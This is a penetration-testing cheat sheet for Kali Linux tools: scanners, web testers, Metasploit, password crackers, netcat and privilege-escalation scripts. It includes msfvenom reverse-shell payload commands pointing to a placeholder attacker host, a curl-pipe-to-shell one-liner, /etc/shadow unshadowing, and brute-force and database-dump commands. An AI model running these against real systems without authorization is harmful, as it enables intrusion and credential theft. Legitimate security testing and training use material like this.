Pentest Tools Reference

Tools Reference Guide

Comprehensive reference for penetration testing tools available in Kali Linux.

Network Scanners

Nmap

Installation:

apt-get install -y nmap

Common Use Cases:

Quick scan (top 1000 ports):

nmap -T4 [TARGET_IP]

Full TCP port scan:

nmap -p- [TARGET_IP]

Service version detection:

nmap -sV -sC [TARGET_IP]

UDP scan:

nmap -sU --top-ports 100 [TARGET_IP]

Aggressive scan (OS detection, version, scripts, traceroute):

nmap -A [TARGET_IP]

Output formats:

nmap -oN output.txt [TARGET_IP]  # Normal
nmap -oX output.xml [TARGET_IP]  # XML
nmap -oA output [TARGET_IP]      # All formats

Useful NSE scripts:

nmap --script=vuln [TARGET_IP]           # Vulnerability scanning
nmap --script=http-enum [TARGET_IP]      # HTTP enumeration
nmap --script=smb-enum-shares [TARGET_IP] # SMB shares

Timing templates (0=paranoid, 5=insane):

nmap -T0 [TARGET_IP]  # Stealth (very slow)
nmap -T4 [TARGET_IP]  # Aggressive (fast, default in examples)

Masscan

Installation:

apt-get install -y masscan

Ultra-fast port scanning:

masscan -p1-65535 [TARGET_IP] --rate=1000
masscan [TARGET_RANGE] -p80,443,8080 --rate=10000

Web Application Testing

Gobuster

Installation:

apt-get install -y gobuster

Directory brute forcing:

gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

With extensions:

gobuster dir -u http://[TARGET_IP] -w wordlist.txt -x php,html,txt,zip

Custom threads and timeout:

gobuster dir -u http://[TARGET_IP] -w wordlist.txt -t 50 --timeout 10s

DNS subdomain enumeration:

gobuster dns -d example.com -w /usr/share/wordlists/dnsmap.txt

Nikto

Installation:

apt-get install -y nikto

Basic scan:

nikto -h http://[TARGET_IP]

With output:

nikto -h http://[TARGET_IP] -o nikto_output.txt

Specific port:

nikto -h http://[TARGET_IP]:8080

SSL/TLS:

nikto -h https://[TARGET_IP] -ssl

WPScan

Installation:

apt-get install -y wpscan

Basic WordPress scan:

wpscan --url http://[TARGET_IP]

Enumerate users:

wpscan --url http://[TARGET_IP] --enumerate u

Enumerate plugins:

wpscan --url http://[TARGET_IP] --enumerate p

Enumerate themes:

wpscan --url http://[TARGET_IP] --enumerate t

Password brute force:

wpscan --url http://[TARGET_IP] --passwords /usr/share/wordlists/rockyou.txt --usernames admin

SQLMap

Installation:

apt-get install -y sqlmap

Basic SQL injection test:

sqlmap -u "http://[TARGET_IP]/page?id=1"

POST request:

sqlmap -u "http://[TARGET_IP]/login" --data="username=admin&password=test"

Dump database:

sqlmap -u "http://[TARGET_IP]/page?id=1" --dbs
sqlmap -u "http://[TARGET_IP]/page?id=1" -D database_name --tables
sqlmap -u "http://[TARGET_IP]/page?id=1" -D database_name -T users --dump

With cookies:

sqlmap -u "http://[TARGET_IP]/page?id=1" --cookie="PHPSESSID=abcd1234"

Batch mode (no user interaction):

sqlmap -u "http://[TARGET_IP]/page?id=1" --batch

Exploitation Tools

Metasploit Framework

Installation:

apt-get install -y metasploit-framework

Start msfconsole:

msfconsole

Search for exploits:

search [SERVICE_NAME]
search type:exploit platform:linux

Using an exploit:

use exploit/linux/http/example_rce
set RHOSTS [TARGET_IP]
set LHOST [ATTACKER_IP]
set LPORT 4444
exploit

Meterpreter commands:

sysinfo        # System information
getuid         # Current user
shell          # Drop to system shell
upload file    # Upload file
download file  # Download file
hashdump       # Dump password hashes

Generate payloads with msfvenom:

# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f elf > shell.elf

# PHP reverse shell
msfvenom -p php/reverse_php LHOST=[IP] LPORT=[PORT] -f raw > shell.php

# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe > shell.exe

SearchSploit

Installation:

apt-get install -y exploitdb

Search for exploits:

searchsploit [SERVICE_NAME]
searchsploit [SERVICE_NAME] [VERSION]
searchsploit -t [KEYWORD]  # Search in title only

Examine exploit:

searchsploit -x [EXPLOIT_ID]

Copy exploit to current directory:

searchsploit -m [EXPLOIT_ID]

Update database:

searchsploit -u

Password Attacks

Hydra

Installation:

apt-get install -y hydra

SSH brute force:

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://[TARGET_IP]
hydra -L users.txt -P passwords.txt ssh://[TARGET_IP]

HTTP POST form:

hydra -l admin -P wordlist.txt [TARGET_IP] http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"

FTP brute force:

hydra -l admin -P wordlist.txt ftp://[TARGET_IP]

RDP brute force:

hydra -l administrator -P wordlist.txt rdp://[TARGET_IP]

With specific port:

hydra -l admin -P wordlist.txt -s 2222 ssh://[TARGET_IP]

John the Ripper

Installation:

apt-get install -y john

Crack password hashes:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Show cracked passwords:

john --show hashes.txt

Unshadow (combine passwd and shadow):

unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt

Crack with rules:

john --wordlist=wordlist.txt --rules hashes.txt

Hashcat

Installation:

apt-get install -y hashcat

Crack MD5 hashes:

hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Crack SHA-256:

hashcat -m 1400 -a 0 hashes.txt wordlist.txt

Crack Linux shadow file:

hashcat -m 1800 -a 0 hashes.txt wordlist.txt

Attack modes:

• -a 0 = Straight (wordlist)
• -a 1 = Combination
• -a 3 = Brute-force

Network Tools

Netcat

Installation:

apt-get install -y netcat-traditional

Connect to port:

nc [TARGET_IP] [PORT]

Listen on port:

nc -lvnp [PORT]

Banner grabbing:

nc -v [TARGET_IP] [PORT]
echo "" | nc -v -n -w1 [TARGET_IP] [PORT]

Transfer file:

# Receiver
nc -lvnp 1234 > file.txt

# Sender
nc [TARGET_IP] 1234 < file.txt

Reverse shell listener:

nc -lvnp 4444

Curl

Installation:

apt-get install -y curl

Basic GET request:

curl http://[TARGET_IP]

With timeout:

curl -m 10 http://[TARGET_IP]

Show headers:

curl -I http://[TARGET_IP]
curl -v http://[TARGET_IP]

POST request:

curl -X POST http://[TARGET_IP]/api -d "param=value"
curl -X POST http://[TARGET_IP]/api -d @data.json -H "Content-Type: application/json"

With authentication:

curl -u username:password http://[TARGET_IP]

Follow redirects:

curl -L http://[TARGET_IP]

Download file:

curl -O http://[TARGET_IP]/file.txt

Wget

Installation:

apt-get install -y wget

Download file:

wget http://[TARGET_IP]/file.txt

With timeout:

wget -T 30 http://[TARGET_IP]/file.txt

Recursive download:

wget -r http://[TARGET_IP]/

Mirror website:

wget -m -p -k http://[TARGET_IP]/

Enumeration Tools

Enum4linux

Installation:

apt-get install -y enum4linux

Full SMB enumeration:

enum4linux -a [TARGET_IP]

User enumeration:

enum4linux -U [TARGET_IP]

Share enumeration:

enum4linux -S [TARGET_IP]

SMBClient

Installation:

apt-get install -y smbclient

List shares:

smbclient -L //[TARGET_IP] -N
smbclient -L //[TARGET_IP] -U username

Connect to share:

smbclient //[TARGET_IP]/share -N
smbclient //[TARGET_IP]/share -U username

Commands within SMB session:

ls          # List files
get file    # Download file
put file    # Upload file
cd dir      # Change directory

Dirb

Installation:

apt-get install -y dirb

Basic directory scan:

dirb http://[TARGET_IP]

With custom wordlist:

dirb http://[TARGET_IP] /usr/share/wordlists/dirb/common.txt

Scan specific extensions:

dirb http://[TARGET_IP] -X .php,.html,.txt

Privilege Escalation Tools

LinPEAS

Download and run:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

One-liner:

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Linux Exploit Suggester

Download:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh

Run:

./linux-exploit-suggester.sh

Utility Commands

Find

Find SUID binaries:

find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Find writable files:

find / -writable -type f 2>/dev/null | grep -v proc

Find writable directories:

find / -writable -type d 2>/dev/null | grep -v proc

Find files by name:

find / -name "*.txt" 2>/dev/null
find / -iname "*flag*" 2>/dev/null

Find files modified in last 24 hours:

find / -mtime -1 -type f 2>/dev/null

Grep

Search for pattern in files:

grep -r "password" /home 2>/dev/null
grep -i "flag" file.txt  # Case insensitive
grep -v "exclude" file.txt  # Invert match

Search for specific file types:

grep -r --include="*.php" "eval" /var/www

With line numbers:

grep -n "pattern" file.txt

Base64

Encode:

echo "text" | base64
base64 file.txt

Decode:

echo "dGV4dA==" | base64 -d
base64 -d file.txt

DNS Tools

Dig

Installation:

apt-get install -y dnsutils

Query A record:

dig [DOMAIN]
dig @[DNS_SERVER] [DOMAIN]

Query specific record type:

dig [DOMAIN] MX
dig [DOMAIN] TXT
dig [DOMAIN] ANY

Reverse DNS lookup:

dig -x [IP_ADDRESS]

Host

Lookup hostname:

host [DOMAIN]
host [IP_ADDRESS]  # Reverse lookup

Wordlists

Common wordlist locations in Kali:

/usr/share/wordlists/rockyou.txt           # Password list (must gunzip first)
/usr/share/wordlists/dirb/common.txt       # Directory enumeration
/usr/share/wordlists/dirbuster/            # Various directory lists
/usr/share/seclists/                       # SecLists collection

Decompress rockyou:

gunzip /usr/share/wordlists/rockyou.txt.gz

Tool Combinations

Web enumeration pipeline**:

nmap -p80,443 [TARGET_IP] && \
nikto -h http://[TARGET_IP] && \
gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirb/common.txt

Full network scan**:

nmap -p- [TARGET_IP] -oN ports.txt && \
nmap -sV -sC -p$(cat ports.txt | grep open | cut -d/ -f1 | tr '\n' ',') [TARGET_IP]

SMB enumeration**:

enum4linux -a [TARGET_IP] && \
smbclient -L //[TARGET_IP] -N

Common Flags Reference

Timeout flags:

• timeout [SECONDS]s [COMMAND] - Generic timeout wrapper
• curl -m [SECONDS] - Curl timeout
• wget -T [SECONDS] - Wget timeout
• nmap --host-timeout [SECONDS]s - Nmap host timeout

Output flags:

• -o [FILE] - Output to file (many tools)
• -oN [FILE] - Nmap normal output
• -oX [FILE] - XML output
• -oA [PREFIX] - All output formats

Verbosity flags:

• -v - Verbose (most tools)
• -vv - Very verbose
• -q - Quiet mode

Threading/Performance:

• -t [THREADS] - Thread count (gobuster, etc.)
• -T[0-5] - Timing template (nmap)
• --rate [NUM] - Packet rate (masscan)

Installation Quick Reference

Essential toolkit:

apt-get update && apt-get install -y \
  nmap nikto gobuster dirb \
  hydra john hashcat \
  smbclient enum4linux \
  netcat-traditional curl wget \
  dnsutils \
  exploitdb \
  metasploit-framework \
  sqlmap wpscan

Attribution

When using these tools in assessments, attribute sources:

• Tool authors: Listed in tool documentation
• Exploits: Include Exploit-DB IDs or GitHub repository URLs
• Scripts: Reference original author or repository
• Wordlists: Note source (SecLists, Daniel Miessler, etc.)